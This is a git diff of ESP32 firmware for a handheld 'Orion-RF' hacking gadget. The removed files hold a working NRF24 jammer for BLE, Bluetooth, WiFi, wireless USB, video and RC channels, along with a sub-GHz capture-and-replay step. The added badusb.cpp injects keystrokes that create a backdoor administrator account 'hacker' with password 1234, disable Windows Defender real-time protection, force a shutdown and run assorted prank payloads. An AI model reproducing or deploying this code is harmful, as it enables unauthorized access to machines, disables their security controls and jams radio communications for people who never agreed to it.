Wallpaper", - "Open MS Paint", - "Tab Switcher"}; - - -Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; - -// ================= MENU STATE ================= - -Menu *currentMenu = &mainMenu; - -int menuIndex = 0; -int menuOffset = 0; - -#define MENU_VISIBLE_ROWS 4 - -bool insideFeature = false; - -// ================= DRAW ================= - -void drawMenu() -{ - u8g2.clearBuffer(); - - // scroll handling - if (menuIndex < menuOffset) - menuOffset = menuIndex; - - if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) - menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; - - for (int i = 0; i < MENU_VISIBLE_ROWS; i++) - { - int item = menuOffset + i; - - if (item >= currentMenu->size) - break; - - if (item == menuIndex) - u8g2.drawStr(0, 14 + i * 14, ">"); - - u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); - } - - // scroll indicators - if (menuOffset > 0) - u8g2.drawStr(118, 10, "^"); - - if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) - u8g2.drawStr(118, 62, "v"); - - u8g2.sendBuffer(); -} - -// ================= FEATURE EXECUTION ================= - -void launchFeature() -{ - insideFeature = true; - - if (currentMenu == &mainMenu) - { - switch (menuIndex) - { - case 0: // BadUSB → enter submenu - currentMenu = &badusbMenu; - menuIndex = 0; - menuOffset = 0; - break; - - case 1: - if (!isCC1101Ready()) { - if (!initCC1101()) { - Serial.println("CC1101 failed"); - return; - } - } - - Serial.println("Ready to capture..."); - - startCapture(); - delay(5000); - stopCapture(); - printCapture(); - delay(5000); - replaySignal(); - break; - - case 2: - // startNRFJammer(); - //startBleJammer(); - //startBluetoothJammer(); - currentMenu = &nrfToolsMenu; - menuIndex = 0; - menuOffset = 0; - break; - - break; - case 3: - ble_scan(); - ble_drawMenu(); - while (1) { - ble_loop(); - if (btnBack()) - break; - } - break; - - case 4: - { - // Start scan once - wifi_scan_start(); - wifi_scan_draw(); - - while (1) { - wifi_scan_loop(); - // EXIT condition handled ONLY here - if (btnBack()) { - delay(150); // debounce - break; - } - } - break; - } - case 5: - { - - wifi_analyzer_start(); - - bool prevBack = false; - while (1) - { - wifi_analyzer_loop(); - bool nowBack = btnBack(); - if (nowBack && !prevBack) - { - delay(150); - break; - } - prevBack = nowBack; - } - break; - } - - case 6: - runSystemInfoFeature(); - break; - case 7: - device_check_run(); - break; - case 8: - { - // wait for button release - delay(200); - - while (btnSelect()) - delay(10); - bool confirm = false; - - while (1) - { - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x13_tr); - - u8g2.drawStr(18, 18, "Restart Device?"); - - if (confirm) - { - u8g2.drawBox(10, 35, 45, 15); - u8g2.setDrawColor(0); - u8g2.drawStr(20, 47, "YES"); - u8g2.setDrawColor(1); - - u8g2.drawStr(75, 47, "NO"); - } - else - { - u8g2.drawStr(20, 47, "YES"); - - u8g2.drawBox(65, 35, 45, 15); - u8g2.setDrawColor(0); - u8g2.drawStr(78, 47, "NO"); - u8g2.setDrawColor(1); - } - - u8g2.sendBuffer(); - - if (btnLeft() || btnUp()) - { - confirm = true; - delay(150); - } - - if (btnRight() || btnDown()) - { - confirm = false; - delay(150); - } - - if (btnSelect()) - { - delay(150); - - if (confirm) - { - u8g2.clearBuffer(); - u8g2.drawStr(28, 30, "Restarting..."); - u8g2.sendBuffer(); - - delay(1000); - ESP.restart(); - } - else - { - break; - } - } - - if (btnBack()) - { - delay(150); - break; - } - } - } - break; - - case 9: - // Begin Ble mouse - bleMouse.begin(); - ble_mouse_run(); - break; - case 10: - pn532_scan_loop(); - break; - } - } - else if (currentMenu == &badusbMenu) - { - badUSBMenu(menuIndex); - } else if (currentMenu == &nrfToolsMenu) { - NRFToolsMenu(menuIndex); - } - - insideFeature = false; - - drawMenu(); -} - -// ================= INIT ================= - -void menuInit() -{ - currentMenu = &mainMenu; - menuIndex = 0; - menuOffset = 0; - - drawMenu(); -} - -// ================= LOOP ================= - -void menuLoop() -{ - static uint32_t lastPress = 0; - - if (insideFeature) - return; - - if (millis() - lastPress < 150) - return; - - if (btnUp()) - { - menuIndex--; - - if (menuIndex < 0) - menuIndex = currentMenu->size - 1; - - drawMenu(); - lastPress = millis(); - } - - else if (btnDown()) - { - menuIndex++; - - if (menuIndex >= currentMenu->size) - menuIndex = 0; - - drawMenu(); - lastPress = millis(); - } - - else if (btnSelect()) - { - launchFeature(); - lastPress = millis(); - } - - else if (btnBack()) - { - if (currentMenu != &mainMenu) - { - currentMenu = &mainMenu; - menuIndex = 0; - menuOffset = 0; - - drawMenu(); - } - - lastPress = millis(); - } -} diff --git a/firmware/menu.h b/firmware/menu.h deleted file mode 100644 index c51cd24..0000000 --- a/firmware/menu.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -struct Menu -{ - const char **items; - int size; -}; - -void menuInit(); -void menuLoop(); diff --git a/firmware/nrf24.cpp b/firmware/nrf24.cpp deleted file mode 100644 index 7d12051..0000000 --- a/firmware/nrf24.cpp +++ /dev/null @@ -1,249 +0,0 @@ -#include -#include -#include "buttons.h" -#include "nrf24.h" -#include "display.h" -#define JAM_DURATION 500 - -extern SPIClass *RADIO_SPI; -extern RF24 radio1; -extern RF24 radio2; - -// ============ CHANNELS ============= -const byte bleChannels[] = {2, 26, 80}; -const byte bluetoothChannels[] = { - 32, 34, 46, 48, 50, 52, - 0, 1, 2, 4, 6, 8, - 22, 24, 26, 28, 30, - 74, 76, 78, 80 -}; -const byte wifiChannels[] = { - 12, 17, 22, 27, 32, - 37, 42, 47, 52, 57, - 62, 67, 72 -}; -const byte usbWireless_channels[] = {40, 50, 60}; -const byte videoTransmitter_channels[] = {70, 75, 80}; -const byte zigbee_channels[] = {11, 15, 20, 25}; -const byte rc_channels[] = {1, 3, 5, 7}; - -void initNRF(RF24 &radio) -{ - if (!radio.begin(RADIO_SPI)) { - Serial.println("NRF not found"); - return; - } - - radio.setAutoAck(false); - radio.stopListening(); - radio.setRetries(0, 0); - radio.setPALevel(RF24_PA_MAX, true); - radio.setDataRate(RF24_2MBPS); - radio.openWritingPipe(0xE7E7E7E7E7LL); - radio.setCRCLength(RF24_CRC_DISABLED); - Serial.println("NRF Initialized"); - -} - - - -//void startBleJammer() { -// initNRF(radio1); -// initNRF(radio2); -// -// Serial.println("NRF JAMMER STARTED"); -// -// const char payload[] = "xxxxxxxxxxxxxxxx"; -// -// u8g2.clearBuffer(); -// u8g2.drawStr(0, 10, "Jamming:"); -// u8g2.setCursor(60, 10); -// u8g2.print("Bluetooth"); -// u8g2.sendBuffer(); -// -// while(true) { -// -// // Channels (you can change this set) -// const byte channels[] = {2, 26, 80}; -// -// -// for (int i = 0; i < sizeof(channels); i++) { -// radio1.setChannel(channels[i]); -// radio1.write(&payload, sizeof(payload)); -// //radio2.setChannel(channels[i]); -// //radio2.write(&payload, sizeof(payload)); -// } -// -// if (btnBack()) -// { -// Serial.println("Jammer stopped"); -// return; -// } -// } -// -//} -// -//void startBluetoothJammer() -//{ -// initNRF(radio1); -// initNRF(radio2); -// -// Serial.println("NRF JAMMER STARTED"); -// -// const char payload[] = "xxxxxxxxxxxxxxxx"; -// -// u8g2.clearBuffer(); -// u8g2.drawStr(0, 10, "Jamming:"); -// u8g2.setCursor(60, 10); -// u8g2.print("Bluetooth"); -// u8g2.sendBuffer(); -// -// while(true) { -// -// // Channels (you can change this set) -// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; -// -// -// for (int i = 0; i < sizeof(channels); i++) { -// radio1.setChannel(channels[i]); -// radio1.write(&payload, sizeof(payload)); -// //radio2.setChannel(channels[i]); -// //radio2.write(&payload, sizeof(payload)); -// } -// -// if (btnBack()) -// { -// Serial.println("Jammer stopped"); -// return; -// } -// } -//} - -void startJammer(const char* name, const byte* channels, size_t channelCount) -{ - initNRF(radio1); - initNRF(radio2); - - Serial.println("NRF JAMMER STARTED"); - - const char payload[] = "xxxxxxxxxxxxxxxx"; - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - u8g2.drawStr(0, 15, "NRF24 Jammer"); - u8g2.drawStr(0, 35, name); - u8g2.drawStr(0, 55, "BACK = Exit"); - u8g2.sendBuffer(); - - while (true) - { - for (size_t i = 0; i < channelCount; i++) - { - //radio1.setChannel(channels[i]); - //radio1.write(&payload, sizeof(payload)); - - // Optional second NRF - // radio2.setChannel(channels[i]); - // radio2.write(&payload, sizeof(payload)); - - - radio1.setChannel(channels[i]); - radio2.setChannel(channels[(i + 1) % channelCount]); - - radio1.writeFast(&payload, sizeof(payload)); - radio2.writeFast(&payload, sizeof(payload)); - } - - if (btnBack()) - { - Serial.println("Jammer stopped"); - radio1.powerDown(); - radio2.powerDown(); - return; - } - } - - //while (true) { - //for (size_t i = 0; i < channelCount; i++) - //{ - // radio1.setChannel(channels[i]); - // radio2.setChannel(channels[(i + 1) % channelCount]); - - // radio1.writeFast(&payload, sizeof(payload)); - // radio2.writeFast(&payload, sizeof(payload)); - - // radio1.txStandBy(1); - // radio2.txStandBy(1); - - // delayMicroseconds(200); - //} - - - //if (btnBack()) - //{ - // Serial.println("Jammer stopped"); - - // radio1.powerDown(); - // radio2.powerDown(); - - // return; - //} -//} -} - -void NRFToolsMenu(int index) { - switch (index) { - case 0: - // startBleJammer(); - // BLE - startJammer( - "BLE", - bleChannels, - sizeof(bleChannels) / sizeof(bleChannels[0]) - ); - - break; - case 1: - // startBluetoothJammer(); - // Bluetooth - startJammer( - "Bluetooth", - bluetoothChannels, - sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]) - ); - break; - - case 2: - startJammer( - "WiFi", - wifiChannels, - sizeof(wifiChannels) / sizeof(wifiChannels[0]) - ); - break; - case 3: - startJammer( - "USB Wireless", - usbWireless_channels, - sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]) - ); - break; - case 4: - startJammer( - "Video TX", - videoTransmitter_channels, - sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0]) - ); - break; - case 5: - break; - startJammer( - "RC", - rc_channels, - sizeof(rc_channels) / sizeof(rc_channels[0]) - ); - break; - case 6: - - break; -} - } diff --git a/firmware/nrf24.h b/firmware/nrf24.h deleted file mode 100644 index 308bbc4..0000000 --- a/firmware/nrf24.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -// Initialization -void initNRF(RF24 &radio); - -void startBluetoothJammer(); -void startBleJammer(); - -void startJammer(const char* name, const byte* channels, size_t channelCount); - -void NRFToolsMenu(int index); diff --git a/firmware/sysinfo.cpp b/firmware/sysinfo.cpp deleted file mode 100644 index afd13aa..0000000 --- a/firmware/sysinfo.cpp +++ /dev/null @@ -1,87 +0,0 @@ -#include -#include "display.h" -#include "buttons.h" -#include -#include - -void runSystemInfoFeature() -{ - esp_chip_info_t chip_info; - - esp_chip_info(&chip_info); - - while (true) - { - //u8g2.clearBuffer(); - - //char buf[32]; - - //sprintf(buf, "Cores: %d", chip_info.cores); - //u8g2.drawStr(0, 14, buf); - - //sprintf(buf, "Heap: %d", - // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); - //u8g2.drawStr(0, 28, buf); - - - //u8g2.drawStr(0, 60, "BACK to exit"); - - // Get RAM info - size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); - size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); - int ramUsage = 100 - ((freeHeap * 100) / totalHeap); - - // Get Flash info - //uint32_t flashSize = spi_flash_get_chip_size(); - uint32_t flashSize = ESP.getFlashChipSize(); - uint32_t flashUsed = ESP.getSketchSize(); - int flashUsage = (flashUsed * 100) / flashSize; - - // Temperature (approx) - uint8_t temperature = temperatureRead(); - - // Chip info - esp_chip_info_t chip_info; - esp_chip_info(&chip_info); - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x12_tr); - - char buf[32]; - - // Box 1 - RAM - u8g2.drawFrame(0, 0, 128, 12); - sprintf(buf, "RAM: %d%% used", ramUsage); - u8g2.drawStr(4, 9, buf); - - // Box 2 - Flash - u8g2.drawFrame(0, 12, 128, 12); - sprintf(buf, "Flash: %d%% used", flashUsage); - u8g2.drawStr(4, 21, buf); - - // Box 3 - Temp (FULL WIDTH now) - u8g2.drawFrame(0, 24, 128, 12); - sprintf(buf, "Temp: %d C", temperature); - u8g2.drawStr(4, 33, buf); - - // Box 4 - Chip info (FULL WIDTH) - u8g2.drawFrame(0, 36, 128, 12); - sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); - u8g2.drawStr(4, 45, buf); - - // Box 5 - PSRAM (KB) - u8g2.drawFrame(0, 48, 128, 12); - sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); - u8g2.drawStr(4, 57, buf); - - u8g2.sendBuffer(); - - if (btnBack()) - { - delay(200); - return; - } - - delay(100); - } -} diff --git a/firmware/sysinfo.h b/firmware/sysinfo.h deleted file mode 100644 index 8a4f176..0000000 --- a/firmware/sysinfo.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void runSystemInfoFeature(); diff --git a/firmware/wifi_analyzer.cpp b/firmware/wifi_analyzer.cpp deleted file mode 100644 index 0264088..0000000 --- a/firmware/wifi_analyzer.cpp +++ /dev/null @@ -1,147 +0,0 @@ -#include -#include -#include - -#include "display.h" -#include "buttons.h" - -// ===== CONFIG ===== -#define GRAPH_WIDTH 128 -#define GRAPH_HEIGHT 44 -#define GRAPH_TOP 10 -#define MAX_POINTS 128 -#define SPIKE_THRESHOLD 30 - -// ===== STATE ===== -struct SnifferGraph { - uint8_t graphData[MAX_POINTS]; - uint8_t currentChannel = 1; - volatile uint16_t packetCounter = 0; - unsigned long lastChannelSwitch = 0; - unsigned long lastUpdate = 0; -}; - -static SnifferGraph sniffer; - -// ===== CALLBACK ===== -void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) -{ - if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) - { - sniffer.packetCounter++; - } -} - -// ===== INIT ===== -void wifi_analyzer_start() -{ - // display init (safe to call again) - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - u8g2.drawStr(0, 10, "Starting analyzer..."); - u8g2.sendBuffer(); - - // reset graph - memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); - sniffer.packetCounter = 0; - sniffer.currentChannel = 1; - - // reset WiFi - WiFi.disconnect(true, true); - esp_wifi_stop(); - delay(200); - esp_wifi_deinit(); - - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_wifi_init(&cfg); - esp_wifi_set_storage(WIFI_STORAGE_RAM); - esp_wifi_set_mode(WIFI_MODE_NULL); - esp_wifi_start(); - - esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); - esp_wifi_set_promiscuous_rx_cb(snifferCallback); - esp_wifi_set_promiscuous(true); -} - -// ===== HELPERS ===== -static void switchChannel() -{ - sniffer.currentChannel++; - if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; - - esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); -} - -static void updateGraph(uint8_t value) -{ - for (int i = 0; i < MAX_POINTS - 1; i++) - { - sniffer.graphData[i] = sniffer.graphData[i + 1]; - } - - sniffer.graphData[MAX_POINTS - 1] = value; -} - -static void drawGraph(uint16_t pktCount) -{ - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - - char line1[16]; - char line2[16]; - - sprintf(line1, "Ch:%d", sniffer.currentChannel); - sprintf(line2, "Pkts:%d", pktCount * 5); - - u8g2.drawStr(0, 8, line1); - u8g2.drawStr(60, 8, line2); - - for (int x = 1; x < GRAPH_WIDTH; x++) - { - int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; - int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; - - u8g2.drawLine(x - 1, y1, x, y2); - } - - if (pktCount >= SPIKE_THRESHOLD) - { - u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); - } - - u8g2.sendBuffer(); -} - -// ===== LOOP ===== -void wifi_analyzer_loop() -{ - static uint32_t lastPress = 0; - unsigned long now = millis(); - - // channel hopping - if (now - sniffer.lastChannelSwitch >= 1000) - { - sniffer.lastChannelSwitch = now; - switchChannel(); - } - - // graph update - if (now - sniffer.lastUpdate >= 200) - { - sniffer.lastUpdate = now; - - uint16_t pktCount = sniffer.packetCounter; - - uint8_t scaled = pktCount * 2; - uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); - - updateGraph(value); - drawGraph(pktCount); - - sniffer.packetCounter = 0; - } - - // optional: small debounce to not hammer CPU - if (millis() - lastPress < 10) - return; -} diff --git a/firmware/wifi_analyzer.h b/firmware/wifi_analyzer.h deleted file mode 100644 index df68284..0000000 --- a/firmware/wifi_analyzer.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once - -void wifi_analyzer_start(); -void wifi_analyzer_loop(); diff --git a/firmware/wifi_scan.cpp b/firmware/wifi_scan.cpp deleted file mode 100644 index d4657bb..0000000 --- a/firmware/wifi_scan.cpp +++ /dev/null @@ -1,152 +0,0 @@ -#include -#include -#include "display.h" -#include "buttons.h" - -#define MAX_NETWORKS 30 - -struct WiFiNet { - String ssid; - int rssi; - int channel; - bool encrypted; -}; - -static WiFiNet networks[MAX_NETWORKS]; -static int networkCount = 0; -static int selectedIndex = 0; - -// ===== SCAN ===== -void wifi_scan_start() -{ - u8g2.clearBuffer(); - u8g2.drawStr(10, 30, "Scanning WiFi..."); - u8g2.sendBuffer(); - - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - - delay(100); - - int n = WiFi.scanNetworks(); - - networkCount = min(n, MAX_NETWORKS); - - for (int i = 0; i < networkCount; i++) - { - networks[i].ssid = WiFi.SSID(i); - networks[i].rssi = WiFi.RSSI(i); - networks[i].channel = WiFi.channel(i); - networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); - } - - selectedIndex = 0; -} - -// ===== DRAW ===== -void wifi_scan_draw() -{ - u8g2.clearBuffer(); - - if (networkCount == 0) - { - u8g2.drawStr(0, 30, "No networks"); - u8g2.drawStr(0, 45, "Press BACK"); - } - else - { - char counter[20]; - sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); - u8g2.setFont(u8g2_font_5x8_tr); - u8g2.drawStr(0, 8, counter); - - u8g2.setFont(u8g2_font_6x10_tr); - - for (int i = 0; i < 3; i++) - { - int idx = selectedIndex + i; - if (idx >= networkCount) break; - - int y = 22 + i * 14; - - if (i == 0) - { - u8g2.drawBox(0, y - 10, 128, 12); - u8g2.setDrawColor(0); - } - - String text = networks[idx].ssid; - if (text.length() > 10) - text = text.substring(0, 10) + ".."; - - text += " (" + String(networks[idx].rssi) + ")"; - - u8g2.drawStr(2, y, text.c_str()); - - if (i == 0) - u8g2.setDrawColor(1); - } - } - - u8g2.sendBuffer(); -} - -// ===== DETAILS ===== -void wifi_drawDetails() -{ - if (networkCount == 0) return; - - WiFiNet &net = networks[selectedIndex]; - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_5x8_tr); - - u8g2.drawStr(0, 10, net.ssid.c_str()); - - char rssi[20]; - sprintf(rssi, "RSSI: %d", net.rssi); - u8g2.drawStr(0, 20, rssi); - - char ch[20]; - sprintf(ch, "CH: %d", net.channel); - u8g2.drawStr(0, 30, ch); - - u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); - - u8g2.sendBuffer(); -} - -// ===== LOOP ===== -void wifi_scan_loop() -{ - static uint32_t lastPress = 0; - - if (millis() - lastPress < 150) - return; - - if (btnDown() && selectedIndex < networkCount - 1) - { - selectedIndex++; - wifi_scan_draw(); - lastPress = millis(); - } - else if (btnUp() && selectedIndex > 0) - { - selectedIndex--; - wifi_scan_draw(); - lastPress = millis(); - } - else if (btnSelect() && networkCount > 0) - { - wifi_drawDetails(); - delay(3000); - wifi_scan_draw(); - lastPress = millis(); - } -// else if (btnBack()) -// { -// wifi_scan_start(); -// wifi_scan_draw(); -// lastPress = millis(); -// } -} diff --git a/firmware/wifi_scan.h b/firmware/wifi_scan.h deleted file mode 100644 index 902054e..0000000 --- a/firmware/wifi_scan.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -void wifi_scan_start(); -void wifi_scan_loop(); -void wifi_scan_draw(); diff --git a/platformio.ini b/platformio.ini new file mode 100644 index 0000000..9c21de3 --- /dev/null +++ b/platformio.ini @@ -0,0 +1,25 @@ +[env:esp32-s3-n16r8] +platform = espressif32 +board = esp32-s3-devkitc-1 +framework = arduino + +monitor_speed = 115200 +upload_speed = 921600 + +board_build.flash_mode = qio +board_build.flash_size = 16MB + +board_build.psram = enabled +board_build.arduino.memory_type = qio_opi + +build_flags = + -DBOARD_HAS_PSRAM + -DARDUINO_USB_CDC_ON_BOOT=1 + +lib_deps = + olikraus/U8g2 + bblanchon/ArduinoJson + nrf24/RF24 + adafruit/Adafruit NeoPixel + t-vk/ESP32 BLE Mouse + adafruit/Adafruit PN532 diff --git a/src/badusb.cpp b/src/badusb.cpp new file mode 100644 index 0000000..37d5ea7 --- /dev/null +++ b/src/badusb.cpp @@ -0,0 +1,398 @@ +#include +#include +#include "ui/display.h" + +extern USBHIDKeyboard Keyboard; + +void runCommand(const char *command) { + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(100); + Keyboard.releaseAll(); + delay(300); + Keyboard.print(command); + Keyboard.write(KEY_RETURN); +} + +void showRunningScreen(String taskName, uint8_t duration = 5) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tf); + u8g2.drawStr(0, 15, "Running:"); + u8g2.drawStr(0, 30, taskName.c_str()); + u8g2.drawFrame(0, 45, 128, 10); + + static const unsigned char image_download_bits[] U8X8_PROGMEM = { + 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, + 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, + 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, + 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, + 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, + 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, + 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; + static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { + 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, + 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, + 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, + 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, + 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, + 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; + + u8g2.setFontMode(1); + u8g2.setBitmapMode(1); + // download + u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); + + // EviSmile1 + u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); + + for (uint8_t i = 0; i <= duration; i++) { + u8g2.drawBox(1, 46, i * (126.0 / duration), 8); + u8g2.sendBuffer(); + delay(50); + } +} + + +void badUSBMenu(int index) { + //switch (index) + // { + // case 0: + // runBadUSBDemo(); + // break; + + // case 1: + // Serial.println("Open CMD payload"); + // runBadUSBOpenCMD(); + // break; + + // case 2: + // Serial.println("Rickroll payload"); + // runBadUSBRickroll(); + // break; + // } + + + switch(index) { + case 0: // demo + + showRunningScreen("DEMO"); + + // Run dialog (Win + R) + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + Keyboard.releaseAll(); + delay(1000); + + Keyboard.println("notepad"); + delay(1500); + + delay(2000); + + Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); + Keyboard.println("#-FEATURES:"); + Keyboard.println("1- WIFI ATTACKS"); + Keyboard.println("2- BLE ATTACKS"); + Keyboard.println("3- BAD USB"); + Keyboard.println("4- NFC"); + Keyboard.println("5- INFRARED"); + Keyboard.println("6- SUB-GHZ"); + Keyboard.println("7- GPIO"); + Keyboard.println("8- APPS"); + Keyboard.println("9- SETTINGS"); + Keyboard.println("10- FILES"); + + break; + case 1: // keyboard + //runLoop(hidkeyboard); + break; + case 2: // saved scripts + //hidInit(); + //runLoop(hidscriptmenu); + + break; + + case 3: // Open Notepad + + showRunningScreen("notepad"); + runCommand("notepad"); + break; + case 4: // Open CMD + showRunningScreen("opening cmd"); + runCommand("cmd"); + break; + case 5: // Show IP + showRunningScreen("Getting IP"); + runCommand("cmd"); + delay(500); + Keyboard.print("ipconfig"); + Keyboard.write(KEY_RETURN); + break; + case 6: // Shutdown + showRunningScreen("shutdown"); + runCommand("shutdown /s /t 0"); + break; + case 7: // RickRoll + showRunningScreen("rickroll"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Keyboard.write(KEY_RETURN); + break; + case 8: // Create Admin User + showRunningScreen("create admin user"); + runCommand("cmd"); + delay(500); + Keyboard.print("net user hacker 1234 /add"); + Keyboard.write(KEY_RETURN); + delay(300); + Keyboard.print("net localgroup administrators hacker /add"); + Keyboard.write(KEY_RETURN); + break; + case 9: // Disable Windows Defender + showRunningScreen("disable windoes defender"); + runCommand("powershell"); + delay(500); + Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); + Keyboard.write(KEY_RETURN); + break; + case 10: // Open YouTube + showRunningScreen("youtube"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.youtube.com"); + Keyboard.write(KEY_RETURN); + break; + case 11: // Lock PC + showRunningScreen("lock pc"); + runCommand("rundll32.exe user32.dll,LockWorkStation"); + break; + case 12: // Fake Update + showRunningScreen("fake update"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://fakeupdate.net/win10u/"); + Keyboard.write(KEY_RETURN); + break; + + case 13: // Endless Notepad + showRunningScreen("endless notepad"); + for (int i = 0; i < 10; i++) { + runCommand("notepad"); + delay(500); + } + break; + + case 14: // Fake BSOD (opens fullscreen image) + showRunningScreen(" fake bsod"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://fakeupdate.net/bsod/"); + Keyboard.write(KEY_RETURN); + break; + + case 15: // Flip screen + showRunningScreen("Flip screen"); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_DOWN_ARROW); + delay(100); + Keyboard.releaseAll(); + break; + + case 16: // Matrix effect + showRunningScreen("Matrix effect"); + runCommand("cmd"); + delay(500); + Keyboard.print("color 0A"); + Keyboard.write(KEY_RETURN); + Keyboard.print(":a"); + Keyboard.write(KEY_RETURN); + Keyboard.print("echo %random%%random%%random%%random%"); + Keyboard.write(KEY_RETURN); + Keyboard.print("goto a"); + Keyboard.write(KEY_RETURN); + break; + + case 17: // I'm watching you prank + showRunningScreen(" iam watching you"); + for (int i = 0; i < 5; i++) { + runCommand("notepad"); + delay(1000); + Keyboard.print("I'm watching you..."); + delay(5000); + } + break; + + case 18: // Open Google + showRunningScreen("open google"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.google.com"); + Keyboard.write(KEY_RETURN); + break; + + case 19: // Open telegram + showRunningScreen("open telegram"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://web.telegram.org/"); + Keyboard.write(KEY_RETURN); + break; + + case 20: // Alarm Sound + showRunningScreen("alarm sound"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); + Keyboard.write(KEY_RETURN); + break; + + case 21: // Endless CMD + showRunningScreen("endless smd"); + for (int i = 0; i < 20; i++) { + runCommand("cmd"); + delay(300); + } + break; + + case 22: // Gibberish + showRunningScreen("gibberish"); + for (int i = 0; i < 100; i++) { + char c = random(33, 127); + Keyboard.write(c); + delay(50); + } + break; + + case 23: // CAPSLOCK Spam + showRunningScreen("caps lock spam"); + for (int i = 0; i < 10; i++) { + Keyboard.press(KEY_CAPS_LOCK); + delay(200); + Keyboard.release(KEY_CAPS_LOCK); + delay(200); + } + break; + + case 24: // Calculator + showRunningScreen("claculator"); + runCommand("calc"); + break; + + case 25: // Auto Type "Hacked!" + showRunningScreen("hacked"); + for (int i = 0; i < 5; i++) { + Keyboard.print("Hacked!"); + Keyboard.write(KEY_RETURN); + delay(1000); + } + break; + + 